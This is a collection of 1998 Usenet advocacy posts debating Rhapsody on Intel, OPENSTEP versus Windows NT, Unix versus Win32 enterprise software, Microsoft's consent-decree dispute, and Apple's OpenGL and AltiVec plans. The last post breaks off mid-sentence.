>Dollars to users, I'd say my basic math beats yours.
>
>> I did not say anything of the sort. I said the DEVELOPERS on those
>> platforms are generally developing SERVER apps.
>
>What do you think they're developing on NT, Maury?
>
>> I have _never_ seen a Solaris box being used for productivy apps.
>
>Bingo. I figured this is what you were getting at all along. How funny.
>
[Deleted]
>
>Oh, you're right about productivity apps, Maury. What your "limited
>visibility" is preventing you from seeing is that the world uses
>anything besides "productivity apps".
>
The world also uses expensive vertical applications. The "productivity
apps" are still required and more and more, the vertical apps are available
for less money on the PC.
>> A GUI wrapper for Apache doesn't make it a client side productivity
app.
>> It makes it a server app with a GUI wrapper.
>
>Hm, I don't remember bringing up that example.
>
>> > That's _really_ untrue. Linux and Solaris sell to different markets, a
>> > fact that Sun has demonstrated by endorsing Linux and lending it
>> > credibility.
>>
>> Exactly, and those different markets is all the difference in my
argument.
>> This is painfully clear, yet you missed it.
>
[Deleted]
>I see. You're making so much money from your current development that
>you can't possibly benefit from automatic deployment on other platforms.
>Where do I sign up?
>
The normal small vertical application company has about 10M anual revenue.
The normal small productivity application comapny has revenues in the 100M
range. Margins differ and there are business cases for both.
>> > developers I know would give their right arms to sell into the Unix
>> > market with an existing app.
>>
>> Really? Would they still think so if that meant their Win/Mac product
had
>> to be delayed one year?
>
>Why would it be delayed a year?
>
I don't get this either. No delay is necessary. What is necessary is
technical support, often direct sales, and an entirely different business
model. I know of many companies that are dropping Unix support because the
market is no longer viable.
>> > They're tired of razor-thin margins in the
>> > consumer space and they want corporate contracts. That's why anybody
>> > with a brain has already ported to NT.
>>
Right, anybody with a brain has/is porting to Win32. Sinse they do not want
to support two code bases, they then drop the Unix/Motif has soon as
possible.
>> Does Word for NT sell for more than Word for Win95? No.
>
>Yuck, you're still stuck on your little desktop apps. This is
>frightening.
>
>> In fact I can
>> name no product that does except for ones that ONLY run under NT. Can you
>> provide any examples? Even one?
>
>Oracle for Unix costs about twice what Oracle on NT costs. This is
>because the performance of Oracle on Unix is about twice what Oracle on
>NT is.
>
Right, Oracle and other SERVER applications will continue to run in air
conditioned fire retarded limited access rooms for the foreseeable future.
It is the desktop Unix workstation that is doomed.
>By the way, if we start talking about apps you can't relate to, let me
>know. I'd hate to tear this conversation about *enterprise app
>development* away from Microsoft Office and other applications you're
>familiar with.
>
Enterprise mission critical applications need to run on the computers that
the users have. In some companies, these are still Unix workstations. It
is hard to beleive, but some places still have Macs. Since almost everyone
needs Microsoft Office (Or at least the IT director thinks so), then there
will be a Wintel machine on the desk. That means that unless there are two
computers on the desk, the mission critical enterprise application better
work on the Wintel box. That is why anyone with a brain has already ported
to Win32 as you said. Once ported to Win32, there is a strong market case
for dumbing the Unix/Motif code base. People wouln't give their right arm
to bring an existing app to Unix. They would give the arm to get off Unix
(regardless of its technical merits).
>Maury, I'm not trying to embarass you. I'm trying to get through this
>shield you seem to have erected, one that says [robotic voice] "the only
>apps people use are word processors. the only apps people use..."
>
>> > What?! NT gives you that.
>>
>> NT gets you about 3% market coverage.
>
>1) Win32 gets you NT and Win95.
>
>2) Define your market. The enterprise market has a much different
>demographic than what I suspect you're referring to. I get the sense
>that you see SS6000 and K-class servers as just "big desktop boxes".
>
[Deleted vulgarity]
>
>MJP
Let me list some of the enterprise apps my company uses.
Matrix-X
Lab-Views
VAPS
Mathmatica
VISIX/GALAXY
RATIONAL APEX
RATIONAL ROSE
ORACLE
INFORMIX
Tons of custom stuff.
Tons of developer stuff
The IT department has tons more stuff.
It all works on NT and NOBODY is going to buy another Unix/Motif workstation
without putting their job and a pound of flesh down for deposit.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: 25 May 1998 19:08:05 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6kctkl$1tv$1@crib.bevc.blacksburg.va.us>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <3569f618.13218072@news> <see-below-2505981819150001@209.24.240.44> <6kd61h$483$1@news12.ispnews.com>
In article <6kd61h$483$1@news12.ispnews.com>, "Zico" <ZicoKnows@hotmail.com> wrote:
> Most people do NOT
> already consider Rhapsody or Next vastly superior to Windows NT
> in most regards.
How many people are qualified to judge? I think I am, using the former
at home and the latter at work. I vote for the former, by a wide margin.
Date: Tue, 26 May 1998 11:54:58 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <356a268e.0@news.camtech.net.au>
In article <356263EB.E37C0897@nstar.net> , "Michael J. Peck" <mjpeck@nstar.net>
wrote:
>Michelle L. Buck wrote:
>
>> I agree with you. Apple does not. Apple sites the "1 billion" dollars IBM
>> spent on drivers for OS/2 as something they do not want to suffer. Apple
>> clearly believes that they can not afford to provide the Apple experience to
>> Intel customers.
>
>Silly, very silly. Apple's already bitten the bullet on declining to
>support older PPC machines, why can't it resolve to limit its Intel
>support to a newer subset? Doing so would make the job ten times easier
>than IBM's old job of supporting ISA hardware and crufty video
>subsystems. What's more, Apple can do some obvious things (which it
>hasn't done) to earn the support of manufacturers to write their own
>drivers. Hint: when will Apple make a firm committment to OpenGL
>support? The longer Apple waits, the more work it creates for itself.
I dont think drivers are the problem. The problem is hardware sales and Apple's
survival. If Apple opens up to Intel hardware then there main source of revenue
is going to get hammered. Why??? Because people are cheap and like to buy cheap
things.
While I would like to see RhapTel I don't want to see Apple die trying to get it
to everyone (i.e. on Intel).
Tim Priest
Date: Tue, 26 May 1998 12:07:55 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
References: <6jq3hf$122c1@odie.mcleod.net>
<6k3s7n$mba$1@ndnws01.ne.highway1.com>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <356a29a6.0@news.camtech.net.au>
In article <6k3s7n$mba$1@ndnws01.ne.highway1.com> , Steven W. Schuldt
<sschuldt@mediaone.net> wrote:
>In article <6jq3hf$122c1@odie.mcleod.net> "Michelle L. Buck"
><buck.erik@mcleod.net> writes:
>>
>> Actually, it was said several times at WWDC that there are no plans for
>> Rhapsody/Intel after 1.0. YellowBox for NT/9x is the future cross platform
>> solution. The lack of drivers was the excuse given by Mr. Dea-Mateson
>> (sp?) at the birds of a feather session.
>>
>> There would probably not be much software or demand for Rhapsody/Intel
>> anyway.
>>
>Oh, there would be plenty of demand alright - but it would cannibalize
>PowerMac sales, no question. That is why it is being snuffed. End of story.
>
>I wish they would just sell it for whatever margin they make on a G3. Let's
>see, 25% of ~$1800 = $450; a little higher than we might like but just about
>par for a server OS on intel (actually that is the exact price of Solaris
>x86). That should keep the profitable quarters going while still allowing
>Apple to continue its hardware hobby and make a few glowing, translucent,
>quad-processor G4 boxes on the side for the true believers.
>
>- Steve
>Boston '98 +On +On
This is a good point. Two Problems
1). I think people would really "chuck a hissy-fit" if the Intel version was
$450 dollars more than the PowerPC version.
2). You assume the price for the PowerPC version of Rhapsody will cost zero
dollars. It will not. That means the price of the Rhapsody version on Intel
will get jacked up.
Still it might bew an option. I think Apple should see how Thapsody 1.0 Intel
goes. If it sells well (and inflate the price slightly at this stage) then it
may be worth the effort to keep it around and sell it at a higher price point.
My worry though is that most people will baulk (sp?) at the price. I know thats
why I baulked at OpenStep.
Tim Priest
Date: Tue, 26 May 1998 12:11:09 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
References: <6jq3hf$122c1@odie.mcleod.net>
<6k3s7n$mba$1@ndnws01.ne.highway1.com>
<joe.ragosta-2205980927190001@wil116.dol.net>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <356a2a69.0@news.camtech.net.au>
In article <joe.ragosta-2205980927190001@wil116.dol.net> , joe.ragosta@dol.net
(Joe Ragosta) wrote:
<Good hypotheticals snipped>
>There are problems with all of these approaches, but I don't believe that
>it would have as large an impact on Apple hardware sales as you might
>think.
But thats what they said about cloning and look where that got them (and us).
Apple needs to tread carefully to stay healthy. Hopefully they will work out a
way to bring us Rhaptel. It will be a great loss to computing if they don't.
Tim Priest
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 25 May 1998 20:57:38 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2505982057380001@pm3a4.rmac.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com> <Josh.McKee-2405981307100001@pm3a6.rmac.net> <6ka4r6$ku2$1@nnrp1.dejanews.com>
In article <6ka4r6$ku2$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
> In article <Josh.McKee-2405981307100001@pm3a6.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > I did not conceed the point at all. I was saying "Let's assume for the
> > sake of arguement".
>
> And "for the sake of argument" I gave you a reasonable reply. Why did you
> cut it short and sign off?
I cut it off because it was irrelavent. You said that I conceeded that
Microsoft's reasoning was valid. I did no such thing...and wanted to
clarify that. Anything that conceeded Microsoft's defense as valid in
that message was only for the sake of arguement for a different point.
Your response to it was fine, just not relavent when I was clarifying my
words.
> If you remember, I was pointing out that open-minded people might see this
> as more than a black and white issue. In fact, didn't you just say that in
> a recent post?
Yes...but I just want to be certain that people don't take what I wrote in
that particular message as my stance on the issue. People have a habit of
putting words into others mouths around here.
Josh
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Mon, 25 May 1998 21:55:03 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6kdb1q$fc04@odie.mcleod.net>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news>
j wrote in message <3569f618.13218072@news>...
>Don't make me laugh. You actually think Apple was and could make an
>OS that could run on the Wintel platform? Apple couldn't make an OS
>for the Wintel platform in their dreams. They have a hard enough
>time making a usable OS for their own hardware spec. It's only a ploy
>to instill confidence in their user base and improve world opinion of
>their vitality. Some fell for it, I hope most didn't.
>
Are you kidding ? Apple already sells an OS that runs on Wintel. It is
called Openstep 4.2.
From: nospamhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Mon, 25 May 1998 22:47:13 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <199805252247133065678@ts2-13.aug.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news>
j <jtech1197@yahoo.com> wrote:
> Don't make me laugh. You actually think Apple was and could make an
> OS that could run on the Wintel platform? Apple couldn't make an OS
> for the Wintel platform in their dreams. They have a hard enough
> time making a usable OS for their own hardware spec. It's only a ploy
> to instill confidence in their user base and improve world opinion of
> their vitality. Some fell for it, I hope most didn't.
Rhapsody already does run on Intel, at least the developer's version
does. And the MacOS was running on Intel equipment in the Apple labs.
It's code name was Star Trek.
--
*** To reply via email remove nospam from my return address. ***
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Mon, 25 May 1998 18:15:48 -0700
Message-ID: <see-below-2505981815490001@209.24.240.44>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <joe.ragosta-2305982110400001@elk46.dol.net> <3567b573.0@206.25.228.5> <joe.ragosta-2405981333400001@elk35.dol.net> <35690863.8A1D842E@nstar.net> <joe.ragosta-2505980706530001@elk52.dol.net> <35697447.9C906249@nstar.net>
In article <35697447.9C906249@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > > What I said was that I don't know anybody who uses MS who didn't
> > > willingly choose to use MS, whatever the circumstances. I know plenty of
> > > people who do not use MS and do not choose to use MS.
> >
> > And, as I stated, I use MS but did not willingly choose it.
>
> Okay, this is good. Now, if you could just explain how exactly that
> happens? I'm curious to know how it is possible for humans to perform an
> action they did not willingly choose. I've heard of physical force and
> chemical influence, and I'm wondering if those were involved, because I
> can't think of another way.
I certainly know lots of people who are required to use Windows and other
Microsoft products in their workplaces, when they'd much rather be using
something else.
If you mean: they have a choice, they could quit their job, then you're right.
.....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
.....................................................
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 26 May 1998 02:58:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6kdb5h$uig$1@nnrp1.dejanews.com>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com> <slrn6mjv7d.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6mjv7d.m8q.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
>
> On Sun, 24 May 1998 16:49:07 GMT, dpetticord@hotmail.com wrote:
> :I am encouraged that you were open-minded enough to concede the possible
> :usefullness of the Windows98 integration.
>
> The Windows98 ''integration'' is primarily useful when HTML rendering and
> HTTP processing library calls are available in the operating system.
>
> This part of "Browser Integration" is the most defensible by Microsoft, as
> it is clearly adding value without obvious anti-competitive consequence.
> {One must assume of course that the API is complete, functional, and allows
> anybody to build browsers using them.}
>
> It's everything else surrounding the IE and all the OEM licensing issues
> which are very suspicious.
>
> Because software is very malleable and packagable in all sorts of forms,
> I do not think that any company should be able to legally immunize itself
> against all anti-trust scrutiny or regulation by packing a few actual
> improvements with a whole lot of questionable junk.
>
We have this problem everywhere. "Do we really need to put up with all this
pornography just because it has a little bit of artistic value?" It is
a balancing act of rights verses laws.
This is a close call and Microsoft is far from being immunized. It is
getting to the point that Microsoft will have to justify even the smallest
of features it wishes to add to the OS.
> It is as transparent a ruse as in the recent case concerning violations
> of the previous consent decree. I.e. if Microsoft is able to circumvent
> any "anti-bundling" provision by the merest dose of (perhaps needless)
> technical ''integration'', it renders the regulation to be meaningless.
>
> This is not the way law is supposed to work.
>
<sigh, getting out the soap box>
The 1994 evidence shows Microsoft wanted to protect its right to bundle.
The Consent Agreement was about LICENSING only. This was the agreement
Microsoft and the DOJ signed. The DOJ was wrong to try and push a Contempt
Case over this issue. If the DOJ wanted to prove Microsoft was in violation
of anti-trust laws, it should have promptly and directly charged them,
instead of playing some political game over a weak case. THAT is the way
the law is supposed to work.
> Frankly, this sort of specific, careful separation of concerns is precisely
> why a technically qualified special master ought to be at the center of this
> case. It appears to me that Microsoft doesn't want this to occur because
> exposing the actual facts may not advance their business.
It appears to me that Microsoft wanted the case to be judged based on
Contract Law only. It is equally apparent that the DOJ did not. The
Consent Agreement is a contract. Microsoft had historical evidence on
its side that in 1994 the DOJ and Microsoft agreed to exempt bundling.
(MSDOS was bundled with Windows, "O'Hare" was bundled with "Chicago",
other 3rd Party software was bundled with Windows). The DOJ agreed with
this in 1994/1995. Even if the Consent Agreement is essentially worthless
today, Contract Law supports what was agreed to WHEN IT WAS SIGNED.
Special Master Lessig was obviously not interested in exploring the historical
situation surrounding the agreement's creation. It was obviously his
intent to study the present day details and extrapolate future ramifications.
That is his expertice. That exportice may be needed in an anti-trust case,
but it was inappropriate for a simple contract dispute (IMO).
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: 25 May 1998 19:06:07 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6kctgv$1t9$1@crib.bevc.blacksburg.va.us>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <3569f618.13218072@news> <see-below-2505981819150001@209.24.240.44> <356a183c.183206318@nntp.ix.netcom.com>
In article <356a183c.183206318@nntp.ix.netcom.com>, BinaryBillTheSailor@Sea++.com wrote:
> On Mon, 25 May 1998 18:19:15 -0700, see-below@not-my-address.com
> (Matthew Vaughan) wrote:
> >Interesting viewpoint, which ignores the fact that Apple already has an
> >operating system that runs very well in Intel, one that most people
> >already consider vastly superior to Windows NT in most regards
> >(applications availability being the big problem).
> How do you support the qualifier "Most People" in your statement.
I don't speak for Matthew, but I presume that would be "most people who
have used both Windows NT and OPENSTEP extensively enough to compare
them on technical merits". Which is certainly a well-supported claim.
But you can go ahead and find people in this set and ask them yourself.
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Mon, 25 May 1998 19:36:35 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6kda10$cc1$1@nnrp3.snfc21.pbi.net>
References: <356999BD.70545488@localhost.localdomain> <B18F1D0C-4BB8C@206.165.43.100>
Lawson English wrote in message ...
>Remco Post <root@localhost.localdomain> said:
>>William Edward Woody wrote:
>>
>>> Embedded processors, on the other hand, don't have the luxury of
>>> shipping in large volumes
>>[big snips]
>>
>>and all people ever told me was that the embedded market was MUCH larger
>>(10 to 100 times) than the desktop market, somebody must be mistaking.
>
>I was wondering about that myself. I've always been told that *profit
>margins* are lower, but volumes are often MUCH higher, which can more than
>make up for the lower margins.
The above should have read "Projects based on embedded processors,
on the other hand, don't have the luxury of shipping in large volumes."
Meaning that many projects which use an embedded processor often ship
in runs of a few thousand units, which don't allow you to spread your
engineering costs across a large volume of units.
I didn't make the correction in my original post mostly because I
thought people would understand my comment in context...
- Bill
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Mon, 25 May 1998 20:58:43 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6kd7o6$13a62@odie.mcleod.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net> <35642BED.C74CB80B@milestonerdl.com> <6k8ebo$vja$1@news.orbitworld.net> <joe.ragosta-2405980800010001@elk60.dol.net> <35699E1E.C8C20389@localhost.localdomain>
I support your feelings of abandonment. Buy an Intel machine and run Linux
or even better, Rhapsody 1.0 or Openstep 4.2 on it. Of course, they are
abandoning those as well.
Remco Post wrote in message <35699E1E.C8C20389@localhost.localdomain>...
>I guess that this will be my last Mac ever, then. When I bought this
>7200 I
>was told that it would run the new MacOS (copland at that time). Well,
>this
>does it for me, mo more Mac's. I'll be buying Intel/Linux from now on.
>
>Apple has severly let me down, promising memory protection and
>preemptive
>multitasking for years now, and not delivering either. I'm glad as hell
>this box runs Linux-pmac and will remain to do so for a few years. At
>least
>I'm sure I'll have a decent OS to run on this box until it gets replaced
>by
>something newer and faster and (above all) cheaper.
>
>
>
>--
>Remco Post is R.S.P.Post<at>student<dot>utwente<dot>nl
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: 25 May 1998 20:25:06 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6kd252$20d$1@crib.bevc.blacksburg.va.us>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <356a183c.183206318@nntp.ix.netcom.com> <6kctgv$1t9$1@crib.bevc.blacksburg.va.us> <356a33c4.190254872@nntp.ix.netcom.com>
In article <356a33c4.190254872@nntp.ix.netcom.com>, BinaryBillTheSailor@Sea++.com wrote:
> Mathew,
I'm not Matthew.
> It would be nice if you would carry over my entire question, not just
> a snippet of it. You had no trouble including the bulk of the post I
> was responding to. I think I made a valid point that he was way out
> of line using the qualifier "most people".
And I said that, clearly, the relevant context of "most people" is "most
people who are qualified to judge". You can twist semantics all you
want; by the same token, "most people use Windows" would be "way out
of line" because most people in the world do not even use computers.
What is important is the appropriate context of the statement.
> If your argument is so weak that you need to resort to such tactics,
It's far from weak: most people who have _used both_ operating systems
consider OPENSTEP to be superior in most respects to NT. If you'll recall
the original context of the discussion, it was that someone claimed that
Apple couldn't put out an Intel OS offering, and Matthew responded that
Apple already had one, and that it was a _good_ one as judged by "most
people" -- of those who are qualified to judge! It would be senseless
to use "most people" to mean "the majority of the world population"
or something ridiculous like that, because the majority have never
even _heard_ of Windows NT, let alone used it, let alone heard or used
OPENSTEP.
Matthew's point, lest you lose track of it in semantic word games, was
that by all accounts OPENSTEP is quite a capable operating system and
is even superior in many respects to Windows NT, in the judgement of
those who have used both.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Mon, 25 May 1998 23:23:44 -0700
Message-ID: <see-below-2505982323440001@209.24.240.44>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news> <see-below-2505981819150001@209.24.240.44> <356a183c.183206318@nntp.ix.netcom.com>
In article <356a183c.183206318@nntp.ix.netcom.com>,
BinaryBillTheSailor@Sea++.com wrote:
> On Mon, 25 May 1998 18:19:15 -0700, see-below@not-my-address.com
> (Matthew Vaughan) wrote:
> >
> >Interesting viewpoint, which ignores the fact that Apple already has an
> >operating system that runs very well in Intel, one that most people
> >already consider vastly superior to Windows NT in most regards
> >(applications availability being the big problem).
>
> How do you support the qualifier "Most People" in your statement. Do
> you mean "Most people in the same room as me?" "Most people who agree
> with me?" " Most people who wear plaid boxer shorts"? "Most people
> with a limited understanding ofd the world?" Which "most people" are
> you speaking for here? Speak for yourself.
Sorry. I meant most people who have used both systems.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Mon, 25 May 1998 23:11:38 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2505982311390001@dialin9062.slip.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu> <3566CEAC.EC53C221@nstar.net>
In article <3566CEAC.EC53C221@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Robert Cassidy wrote:
>
> [cut]
>
> > From what I've been led to understand, AltiVec should deliver competitve
> > 3D. Apple helped develop this thing (initiated, from what I've been told)
> > and would appear to be seriously interested in it. I get the sense that it
> > is being chosen in lieu of specialized hardware in many places due to cost
> > (obvious) and an easy ability to support. Basically Apple can get
> > Quicktime to support Altivec with less effort than a full port to
> > Trimedia, for example.
>
> Well, this makes me sorta nervous. If it's a TriMedia comparison, it's
> not about easy of development, it's actually because TriMedia has gotten
> out of the 3D market altogether after the abject failure of the
> Pyramid3D project. The developer of that solution, (I believe it's
> BitBoys Oy) has gone independent and TriMedia is doing other things.
Trimedia's appeal was to the Quicktime crowd, not so much the 3D crowd
AFAIK. That's why I used that as an example.
The appeal of AltiVec in the face of *all* other specialized hardware is
that AltiVec is not a total rewrite solution. That doesn't mean it will
seriously compete with specialized hardware, except that we stand a better
chance of getting AltiVec support in more places than TriMedia or any
other non-PPC solution support.
OTOH, what does multiple AltiVec CPUs in an SMP environment do to adjust
the playing field as far as specialized hardware is concerned? Doesn't
that just improve Apple's ability to get decent performance by getting rid
of as many special cases as possible? After all, if we look at the costs
of 1 CPU + specialized 3D hardware, how much different in price would that
be from 2 AltiVec CPU's? How then does that begin to affect performance?
> > Based on how many times I've now heard suggestions of
> > OpenGL support by Apple (including a few straight out statements that
> > OpenGL would be in QTML),
>
> OpenGL in QTML makes me nervous and unhappy. Does it require more memory
> than just-plain-OpenGL?
If they do it right, it should be very little more memory. Negligible I
would think.
> Will straight OpenGL code compile, or will you
> have to make QTML gestalt and enable and initialize and
> god-know-what-else calls?
Straight OpenGL code would compile, I would think. The advantage to having
it in QT is if the developer wished to extend their support to other media
types (video, audio) and sync it. Then you go beyond OpenGL, but wouldn't
audio sync'ed to OpenGL actions be attractive if optional?
> From a certain perspective, this isn't terrible: you have WGL and GLX on
> other platforms. But what is Apple doing about AGL, then? Is it
> replacing it or just adding another layer? How can it reasonably
> implement these decisions without active membership in the ARB?
They could work directly with SGI, no?
> Let me do this: OpenGL doesn't need Qt.
OpenGL doesn't need anything. But would it hurt? Could it even help? Would
there be an advantage to running OpenGL in a RT environment? QT is a
pretty accomodating environment that doesn't always have to intrude on
other things.
> Unless Apple intends to make
> OpenGL a "feature" of QTML, the only reason for OpenGL to be "within
> QTML" is integration with the windowing system, possibly integration
> with other multimedia. This points to a growing new role for QTML, one
> that's even more like DirectX than it has been. That's scary, because it
> threatens the cross-platform aspects of QTML.
I would think that integration is the goal.
> What happens if I write a QTML program using OpenGL and try to port it
> elsewhere? I see problems.
Why? Why would it not go anywhere that QTML goes?
-Bob Cassidy
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lets Get Real
Date: 26 May 1998 06:37:41 GMT
Organization: Michigan State University
Message-ID: <6kdnvl$fl0$3@msunews.cl.msu.edu>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <see-below-1905982220520001@209.24.240.108>
<see-below-1905982223150001@209.24.240.108> <6jukuc$79b@nrtphc11.bnr.ca>
<EtI9pw.G2x@AWT.NL>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: G.C.Th.Wierda@AWT.nl
In <EtI9pw.G2x@AWT.NL> Gerben Wierda wrote:
> Matthew Cromer <matthew_cromer@iname.com> wrote:
> >I think the real reason to kill Rhapsody for Intel is to keep
Microsoft
